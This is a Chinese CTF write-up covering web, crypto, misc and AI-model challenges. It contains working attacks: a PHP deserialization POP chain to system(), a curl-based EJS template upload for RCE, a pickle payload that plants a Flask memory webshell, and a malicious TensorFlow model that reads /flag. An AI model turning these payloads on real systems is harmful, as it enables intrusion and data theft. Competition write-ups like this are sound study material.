Web
ez_unserialize
思路:
H::__destruct(): 脚本结束时自动触发。它调用$this->who->start()。- 构造: 创建一个
H对象,并将其$who属性设置为一个A类的对象。
- 构造: 创建一个
A::start(): 被上一步调用。它执行echo $this->next;,这将触发$next对象的__toString()方法。- 构造: 将
A对象的$next属性设置为一个V类的对象。
- 构造: 将
V::__toString(): 被上一步调用。它执行$this->go->$abc;(其中$abc = $this->dowhat)。为了触发E::__get(),我们需要让它尝试访问一个E对象的私有属性。- 构造: 将
V对象的$go属性设置为一个E类的对象,并将其$dowhat属性设置为字符串"secret"。
- 构造: 将
E::__get(): 当V尝试访问E的私有属性secret时被触发。代码检查$name是否为"secret",如果是,则调用$this->found->check()。- 构造: 将
E对象的$found属性设置为一个F类的对象。
- 构造: 将
F::check(): 被上一步调用。它会new $this->finalstep()并调用__invoke()。我们的目标是实例化U类。- 关键绕过: 这里有
preg_match("/U/", ...)检查。由于 PHP 的类名不区分大小写,我们可以将$finalstep设置为小写的"u"来绕过这个检查。new "u"()依然会成功创建U类的实例。 - 构造: 将
F对象的$finalstep属性设置为字符串"u"。
- 关键绕过: 这里有
U::__invoke(): 当F类中的新对象被()调用时触发,最终执行system($_POST['cmd']),达成 RCE。
<?php
// 声明所有需要用到的类class A { public $first; public $step; public $next;}class E { public $found; private $you; private $secret;}class F { public $fifth; public $step; public $finalstep;}class H { public $who; public $are; public $you;}class V { public $good; public $keep; public $dowhat; public $go;}// N 和 U 类在服务器端被调用,payload中不需要它们的实例class N {}class U {}
// 1. 创建链条中的所有对象实例$h = new H();$a = new A();$v = new V();$e = new E();$f = new F();
// 2. 按照攻击链设置对象的属性$h->who = $a;$a->next = $v;$v->go = $e;$v->dowhat = "secret"; // 触发 E::__get("secret")$e->found = $f;$f->finalstep = "u"; // 大小写绕过 preg_match
// 3. 序列化顶层对象并进行 URL 编码$payload = serialize($h);echo "Your Payload:\n\n";echo urlencode($payload);
?>curl -X POST \ -d 'payload=PAYLOAD_STRING' \ -d 'cmd=ls -la /' \ http://target.com/challenge.phpstaticNodeService
-
目录索引渲染函数允许通过
templ参数指定模板名并调用res.render(templ, ...)。 -
静态文件服务:
express.static(STATIC_DIR)。 -
安全中间件仅检查
req.path:- 阻止了
..(目录穿越) - 阻止了以
js结尾的路径(/js$/),企图防止.ejs(字符串最后两字节是js)的写入
- 阻止了
-
上传接口:
PUT /*可以将req.body.content(base64)写入到STATIC_DIR + req.path指定的任意路径。 -
模板名
templ完全由用户控制并传入res.render,若能在views目录中放置恶意 EJS 模板,即可在渲染时执行任意 JS。 -
上传接口允许向任意路径写入;但安全中间件阻止了
req.path以js结尾,导致直接写入*.ejs会被拒绝。 -
结合路径归一化与客户端路径传递策略,可以在服务端“落地一个真正的
.ejs文件”,随后通过templ正常渲染,从而 RCE 并读取/flag。
- 构造恶意 EJS 模板(读取 flag):
<%- global.process.mainModule.require('child_process').execSync('/readflag').toString() %>将其进行 base64 编码(示例用 Python):
python3 - <<'PY'import base64payload = "<%- global.process.mainModule.require('child_process').execSync('/readflag').toString() %>"print(base64.b64encode(payload.encode()).decode())PY示例输出(缩写):
PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+- 利用路径构造与
--path-as-is,将恶意模板写入为真.ejs文件:
curl --path-as-is -i -s -X PUT 'http://45.40.247.139:22915/views/read.ejs/.' \ -H 'Content-Type: application/json' \ --data '{"content":"PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+"}'预期返回:201 Created(文件已写入)。随后访问 /views/ 可见 read.ejs(不带尾点)。
- 触发渲染并回显 flag:
curl -s 'http://45.40.247.139:22915/views/?templ=read.ejs'EZ Blog
- 初始访问与信息搜集
首先,我们访问博客首页。根据页面上的提示信息“访客只能用访客账号登录哦!”,我们可以尝试常见的弱口令组合。
- 用户名:
guest - 密码:
guest
使用这组凭证成功登录系统。登录后,我们检查浏览器存储的 Cookies,发现一个名为 Token 的 Cookie,其值非常可疑:
Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e- 漏洞分析:Python 反序列化
这串看似随机的字符串实际上是十六进制编码的。我们对其进行 Hex 解码,得到的结果是以 \x80\x04 开头的字节流,这是 Python pickle 模块序列化数据的典型特征(协议版本4)。
我们可以通过简单的 Python 脚本来验证其内容:
import pickleimport binascii
hex_cookie = "8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e"decoded_cookie = binascii.unhexlify(hex_cookie)
# 为了能成功反序列化,需要定义一个占位符类class User: pass# 还需要告诉 pickle User 类在哪个模块下import syssys.modules['app'] = sys.modules['__main__']
deserialized_object = pickle.loads(decoded_cookie)print(deserialized_object.__dict__)输出结果为:
{'id': 2, 'username': 'guest', 'is_admin': False, 'logged_in': True}这证实了我们的猜想:服务器通过反序列化 Cookie 来验证用户身份,并且存在明显的 Python 反序列化漏洞。
- 漏洞利用:注入内存马
由于题目环境不出网,我们无法使用反弹 Shell。因此,最佳策略是注入一个内存马,在服务器应用内部创建一个后门。
一个巧妙的思路是劫持 Flask 应用的 404 错误处理器。当用户访问任何不存在的页面时,我们的恶意代码就会被触发。
以下是用于生成恶意 Payload 的 Python 脚本:
import osimport pickleimport binasciifrom flask import request # 模拟导入,实际在服务器上运行
# 定义恶意类,其 __reduce__ 方法将在反序列化时被调用class Exploit: def __reduce__(self): # 这段代码会找到并替换 Flask 应用的 404 错误处理器 # 新的处理器会执行 URL 参数 `cmd` 传入的命令 command = ( "global app, request; " "exc_class, code = app._get_exc_class_and_code(404); " "app.error_handler_spec[None][code][exc_class] = " "lambda e: __import__('os').popen(request.args.get('cmd')).read()" ) return (exec, (command,))
# 实例化恶意类payload_obj = Exploit()
# 序列化并进行 hex 编码pickled_data = pickle.dumps(payload_obj)hex_payload = binascii.hexlify(pickled_data).decode()
print("请将以下 Payload 替换到你的 Token Cookie 中:")print(hex_payload)-
触发 Payload 并获取 RCE
-
运行上述脚本,复制生成的十六进制 Payload。
-
在浏览器开发者工具中,将
TokenCookie 的值替换为这个新的 Payload。 -
访问
/add页面。这是一个需要身份验证的页面,因此服务器会尝试反序列化我们的 Cookie,从而触发__reduce__方法,成功注入内存马。此时页面可能会报错,这是正常现象。 -
内存马注入成功后,我们就可以通过访问任意不存在的页面来执行命令了。
http://<题目地址>/404?cmd=ls
Crypto
Random
设存在连续三位为 0 的比特(靠近序列尾部较易出现):
令对应的三个密文为
c1 = y^2 (mod n)c2 = (y + d1)^2 (mod n)c3 = (y + d1 + d2)^2 (mod n)
其中 d1, d2 都是不超过 2^48 的小整数。
记差值:
a = (c2 - c1) mod n = 2*y*d1 + d1^2 (mod n)b = (c3 - c1) mod n = 2*y*(d1 + d2) + (d1 + d2)^2 (mod n)
消去未知 y 可以得到关于 d1, d2 的方程:
(a - d_1^2) (d_1 + d_2) - d_1 \big(b - (d_1 + d_2)^2\big) \equiv 0 \pmod{n}
由于 d1, d2 很小(上界约 2^48),可将其视为“多变量小根”,使用 Coppersmith 方法在模 n 的多项式环中寻找小根 (d1, d2)。
一旦得到 d1,即可恢复 y:
2yd_1 + d_1^2 \equiv a \pmod{n} \quad\Rightarrow\quad y \equiv (a - d_1^2) \cdot (2d_1)^{-1} \pmod{n}
之后,继续向前逐位判断下一位是 0 还是 1:
- 假设下一位是 0:尝试解一元小根
(y - d)^2 \equiv c_{next} (mod\ n),若存在小根d(界2^48),则确认为 0,并更新y ← y - d。 - 若无解,则该位为 1。此时
(y - d)^2 \equiv c_{next} * x^{-1} (mod\ n),再求小根并更新y。
这样即可依次恢复整段比特串,进而转为字节得到明文。
from sage.all import *import itertoolsimport astfrom Crypto.Util.number import long_to_bytes
def small_roots_multivariate(f, bounds, m=2, d=None): """ Multivariate Coppersmith small roots, adapted from the approach in the writeup. f: polynomial over Zmod(N) in multiple variables bounds: tuple of bounds (B1, B2, ...) m: lattice parameter (default 2) d: degree parameter (default: total degree of f) Returns list of tuples (r1, r2, ...) in Zmod(N) representing small roots. """ if d is None: d = f.degree() R = f.base_ring() N = R.cardinality() # Normalize leading coefficient f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G = Sequence([], f.parent()) for i in range(m + 1): base = (N ** (m - i)) * (f ** i) for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod([v**s for v, s in zip(f.variables(), shifts)]) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) # Scale columns by bounds factors = [monomial(*bounds) for monomial in monomials] for i, factor in enumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor in enumerate(factors): B.rescale_col(i, 1 / factor) H = Sequence([], f.parent().change_ring(QQ)) for h in filter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): tup = tuple(R(root[var]) for var in f.variables()) roots.append(tup) if roots: return roots return []
def find_initial_y(n, x, enc, max_scan=32): """ Try to locate a valid (d1, d2, y) near the end of enc by scanning windows of three consecutive ciphertexts assuming three consecutive 0-bits. Returns (y, d1_int, offset) where offset >= 0 indicates the shift from the last window. """ for offset in range(0, min(max_scan, len(enc) - 3)): # We use enc[-(offset+4)], enc[-(offset+3)], enc[-(offset+2)] as c1, c2, c3 c1 = enc[-(offset + 4)] c2 = enc[-(offset + 3)] c3 = enc[-(offset + 2)] a = (c2 - c1) % n b = (c3 - c1) % n R = PolynomialRing(Zmod(n), names=("d1", "d2"), implementation='generic') d1_sym, d2_sym = R.gens() f = (a - d1_sym**2) * (d1_sym + d2_sym) - d1_sym * (b - (d1_sym + d2_sym)**2) res = small_roots_multivariate(f, (2**48, 2**48), m=2, d=3) if not res: continue # Filter candidates: d1 != 0 and invertible modulo n, and y verifies c1 for (d1_val, d2_val) in res: d1_int = int(d1_val) if d1_int == 0: continue if gcd(2 * d1_int, n) != 1: continue try: y = ((a - pow(d1_int, 2, n)) * inverse_mod(2 * d1_int, n)) % n except ZeroDivisionError: continue if pow(y, 2, n) == c1: return y, d1_int, offset # If none candidate passes, continue scanning raise ValueError("Failed to locate a valid initial (d1, d2, y). Try increasing max_scan or check assumptions.")
def recover(n, x, enc): # Locate initial y based on three consecutive 0-bits near the end y, d1_int, offset = find_initial_y(n, x, enc)
# Determine the bit right before the triple zeros (optional); we'll follow the original writeup flow # Build bitstring starting from the assumed pattern; we keep '1000' as in writeup for compatibility m_bits = '1000' for i in range(4 + offset, len(enc)): R1 = PolynomialRing(Zmod(n), names=("d",)) d = R1.gens()[0] # Try next bit as 0 first f0 = (y - d)**2 - enc[-(i+1)] roots0 = f0.monic().small_roots(X=2**48) if roots0: m_bits += '0' y = (y - int(roots0[0])) % n else: # Otherwise, treat as bit 1 m_bits += '1' f1 = (y - d)**2 - (enc[-(i+1)] * inverse_mod(x, n)) roots1 = f1.monic().small_roots(X=2**48) if not roots1: raise ValueError("Failed to find small root for next step; check assumptions or data.") y = (y - int(roots1[0])) % n
m_int = int(m_bits, 2) m_bytes = long_to_bytes(m_int) return m_bytes, m_bits
def parse_output(path): with open(path, 'r') as f: lines = f.read().strip().splitlines() # Expecting format: # n = <int> # x = <int> # enc = [list] n = int(lines[0].split('=', 1)[1].strip()) x = int(lines[1].split('=', 1)[1].strip()) enc_str = lines[2].split('=', 1)[1].strip() enc = ast.literal_eval(enc_str) return n, x, enc
def main(): n, x, enc = parse_output('output.txt') m_bytes, m_bits = recover(n, x, enc) print("Recovered bits:", m_bits) print("Recovered message:", m_bytes)
if __name__ == '__main__': main()主要函数逻辑:
多变量小根 small_roots_multivariate(f, bounds, m, d):构造格并 LLL 简化,提取多项式组合,求解 0 维理想的整数解,返回模 n 中的根。
初始化定位 find_initial_y(n, x, enc, max_scan):
- 在密文末尾附近扫描窗口,假设存在三连 0bit;
- 对每个窗口用上面的二元方程求
(d1, d2)小根; - 过滤无效候选:
d1 = 0、gcd(2*d1, n) ≠ 1(意味(2*d1)模n不可逆); - 计算
y并验证y^2 ≡ c1 (mod n),找到可信初始(y, d1)与窗口偏移offset。
恢复过程 recover(n, x, enc):
- 先调用
find_initial_y获取稳健的初始状态; - 从对应位置开始逐位尝试一元小根,拼接比特串;
- 将比特串转为字节输出。
该实现解决了常见的失败场景:直接用最后三位假设为 0 时,可能出现 inverse_mod(2*d1, n) 不存在(模 n 下非单位),通过窗口扫描与 gcd 过滤确保 (2*d1) 可逆后再恢复 y。
Ridiculous LFSR
m的汉明重量固定为w(旋转不改变重量)。- 每轮得到
temp_i,其重量已知为l[i]。 - 输出
c_i = temp_i XOR rotate^i(m),其重量(可由位计数得到)记为weight(c_i)。
对任意两个比特向量 x, y 有重量恒等式:
weight(x XOR y) = weight(x) + weight(y) - 2 * overlap1(x, y)其中 overlap1(x, y) 为同时为 1 的位置数(也可视为按位与后 1 的数量)。套用到本题:
weight(c_i) = l[i] + w - 2 * dot_i因此:
w = weight(c_i) - l[i] + 2 * dot_i关键是如何用 c_i 和未知的 m 来表达 dot_i = overlap1(temp_i, rotate^i(m))。注意:
- 当
c_i[k] = 0时,说明temp_i[k] == rotate^i(m)[k]。 - 若此时
rotate^i(m)[k] = 1,则必有temp_i[k] = 1,也就计入了dot_i。 于是可得:
dot_i = # { k | c_i[k] = 0 且 rotate^i(m)[k] = 1 }这使得 dot_i 可以直接由 c_i 的零位与 m 的比特(经相应旋转的索引映射)线性表示。
在中,使用 OR-Tools 的 CP-SAT 建模:
- 变量:
m_vars[0..n-1] ∈ {0,1}表示 flag 的比特(与题目一致为 MSB-first),w_var ∈ [0,n]表示重量。 - 对每一轮
i,构造dot_i = sum_k a_{i,k} * m_k,其中a_{i,k} = 1当且仅当c_i[(k - i) % n] == 0(这对应c_i的零位与旋转索引的匹配)。 - 加入约束:
w_var == weight(c_i) - l[i] + 2 * dot_i。 rotate的索引映射在约束中体现为(k - i) % n。- 求解后从比特构造出
m,并转为字节与字符串(必要时回退到 hex)。
import osimport astfrom ortools.sat.python import cp_model
def parse_output(file_path): with open(file_path, "r") as f: lines = f.read().strip().splitlines() # Parse LENGTH assert lines[0].startswith("LENGTH = ") LENGTH = int(lines[0].split("=")[1].strip()) # Parse c and l using ast.literal_eval for safety assert lines[1].startswith("c = ") c_str = lines[1].split("=", 1)[1].strip() c_list = ast.literal_eval(c_str) assert lines[2].startswith("l = ") l_str = lines[2].split("=", 1)[1].strip() l_list = ast.literal_eval(l_str) return LENGTH, c_list, l_list
def int_to_bits(x, n): s = bin(x)[2:].zfill(n) return [int(ch) for ch in s]
def solve_flag(output_path): LENGTH, c_list, l_list = parse_output(output_path) n = LENGTH m_count = len(c_list)
# Precompute c bits and weights c_bits = [int_to_bits(ci, n) for ci in c_list] c_weights = [sum(bits) for bits in c_bits]
model = cp_model.CpModel()
# Variables for m (original flag bits, MSB-first order as in task.py) m_vars = [model.NewIntVar(0, 1, f"m_{k}") for k in range(n)] # Constant Hamming weight of m across rotations w_var = model.NewIntVar(0, n, "w")
dot_vars = [] for i in range(m_count): d = model.NewIntVar(0, n, f"dot_{i}") dot_vars.append(d) # dot_i = sum_k a_i_k * m_k, where a_i_k = c_i[(k - i) % n] terms = [] for k in range(n): if c_bits[i][(k - i) % n] == 0: terms.append(m_vars[k]) if terms: model.Add(d == sum(terms)) else: model.Add(d == 0) # Constraint: w = l[i] + 2*dot_i - weight(c_i) model.Add(w_var == c_weights[i] - l_list[i] + 2 * d)
# Solve solver = cp_model.CpSolver() solver.parameters.max_time_in_seconds = 60.0 solver.parameters.num_search_workers = 8 status = solver.Solve(model)
if status not in (cp_model.OPTIMAL, cp_model.FEASIBLE): raise RuntimeError("No feasible solution found by CP-SAT.")
m_bits = [solver.Value(v) for v in m_vars] w_val = solver.Value(w_var) # Build integer from bits (MSB-first) bit_str = "".join(str(b) for b in m_bits) m_int = int(bit_str, 2)
# Convert to bytes (minimal length sufficient for bit-length) byte_len = (n + 7) // 8 inner_bytes = m_int.to_bytes(byte_len, byteorder="big") # Strip leading zero bytes that may arise from bit-length vs byte boundary inner_bytes = inner_bytes.lstrip(b"\x00")
try: inner_text = inner_bytes.decode("utf-8") except Exception: # Fallback to latin-1 if utf-8 fails try: inner_text = inner_bytes.decode("latin-1") except Exception: inner_text = inner_bytes.hex()
full_flag = f"DASCTF{{{inner_text}}}"
print(f"Recovered LENGTH: {n}") print(f"Recovered weight(m): {w_val}") print(f"Recovered inner bytes (hex): {inner_bytes.hex()}") print(f"Recovered inner text: {inner_text}") print(f"Flag: {full_flag}")
if __name__ == "__main__": # Assume running from the challenge directory; read local output.txt script_dir = os.path.dirname(os.path.abspath(__file__)) output_path = os.path.join(script_dir, "output.txt") solve_flag(output_path)Reverse
PLUS
Msic
成功男人背后的女人
ps打开发现一个隐藏图层 发现很多男女标 男1女0
010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101DS&Ai
SM4-OFB
表头为:序号、姓名、手机号、身份证号、IV。观察可知:
- 姓名密文为 32 个 hex 字符(16 字节)
- 手机号密文为 32 个 hex 字符(16 字节)
- 身份证号密文为 64 个 hex 字符(32 字节)
- IV 字段为
6162636465666768696a6b6c6d6e6f70,对应 ASCII 为abcdefghijklmnop,所有行相同。
本题中,IV 对每一行每个字段都相同且固定,意味着每次加密都从同一个初始状态生成相同的密钥流序列(如果对每个字段都是同起点),因此可以通过第一条记录的已知明文分别恢复:
- 姓名字段的 16 字节密钥流片段(KS_name)
- 手机号字段的 16 字节密钥流片段(KS_phone)
- 身份证号字段的 32 字节密钥流片段(KS_id)
注意:第一条记录的真实明文字节长度可能短于密文字节长度(例如姓名的 UTF-8 仅 9 字节),在流加密中,超出明文长度的密文字节等于密钥流字节(因为相当于明文的该部分是 0),因此将明文尾部按 0x00 填充到与密文等长即可完整恢复密钥流片段。
- 使用 openpyxl 读取 Excel,解析每一列的 hex 字符串为字节数据。
- 取第 2 行(第一条数据行)的“姓名/手机号/身份证号”密文,与题目给出的已知明文分别异或,得到 KS_name、KS_phone、KS_id。
- 遍历所有行,对对应字段的密文分别与已知密钥流片段异或,还原出明文;将末尾的
\x00去除并用 UTF-8 解码。 - 在还原出的数据中查找姓名为“何浩璐”,对其身份证号做 MD5,作为题目要求的 flag。
from openpyxl import load_workbookimport hashlib
wb = load_workbook('个人信息表.xlsx', read_only=True, data_only=True)ws = wb.activerows = list(ws.iter_rows(values_only=True))
# 已知第一条数据行的明文name0 = '蒋宏玲'.encode('utf-8')phone0 = '17145949399'.encode('utf-8')id0 = '220000197309078766'.encode('utf-8')
# 对应密文(第2行)c_name = bytes.fromhex(rows[1][1])c_phone = bytes.fromhex(rows[1][2])c_id = bytes.fromhex(rows[1][3])
# 反推出三个字段各自的密钥流片段(不足部分按 0x00 填充)ks_name = bytes(x ^ y for x, y in zip(c_name, name0 + b'\x00' * (len(c_name) - len(name0))))ks_phone = bytes(x ^ y for x, y in zip(c_phone, phone0 + b'\x00' * (len(c_phone) - len(phone0))))ks_id = bytes(x ^ y for x, y in zip(c_id, id0 + b'\x00' * (len(c_id) - len(id0))))
flag_md5 = Nonefor r in rows[1:]: name = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[1])), ks_name)).rstrip(b'\x00').decode('utf-8') phone = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[2])), ks_phone)).rstrip(b'\x00').decode('utf-8') idnum = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[3])), ks_id)).rstrip(b'\x00').decode('utf-8') if name == '何浩璐': flag_md5 = hashlib.md5(idnum.encode('utf-8')).hexdigest() break
print('FLAG:', flag_md5)Mini-modelscope
为了满足服务器代码对 .tolist() 的要求,我们必须返回一个数字数组。我们可以将读取到的 flag 文件内容(原始字节流)直接解码为一个 uint8 类型的整数向量。向量中的每个数字就是 flag 中对应字符的 ASCII/UTF-8 码。
最终 Payload:
import tensorflow as tfimport osimport shutil
class MaliciousModel(tf.Module): def __init__(self): super(MaliciousModel, self).__init__() self.flag_path = tf.constant('/flag', dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[1, 1], dtype=tf.float32)]) def serve(self, input_tensor): # 步骤1: 读取文件的原始字节 raw_bytes = tf.io.read_file(self.flag_path)
# 步骤2: 将字节流解码为 uint8 整数向量 byte_vector = tf.io.decode_raw(raw_bytes, tf.uint8)
# 步骤3: 返回这个向量,它满足 .tolist() 的要求 return {'prediction': byte_vector}
# --- 保存并打包模型的代码 ---model_dir = './malicious_model_final_vector'zip_name = 'model'if os.path.exists(model_dir): shutil.rmtree(model_dir)if os.path.exists(f'{zip_name}.zip'): os.remove(f'{zip_name}.zip')
model = MaliciousModel()tf.saved_model.save(model, model_dir, signatures={'serve': model.serve})shutil.make_archive(zip_name, 'zip', model_dir)shutil.rmtree(model_dir)print(f"成功创建 '{zip_name}.zip'")结果: 服务器成功执行并返回了预测结果!
预测结果: [68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48, 55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50, 49, 51, 51, 56, 57, 125, 10]我们得到了 flag 的 ASCII 码数组。最后一步是将其转换回可读的字符串。
解码脚本:
flag_as_numbers = [ 68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48, 55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50, 49, 51, 51, 56, 57, 125, 10]
# 最后一个数字 10 是换行符,我们将其忽略flag_string = "".join(map(chr, flag_as_numbers[:-1]))
print(flag_string)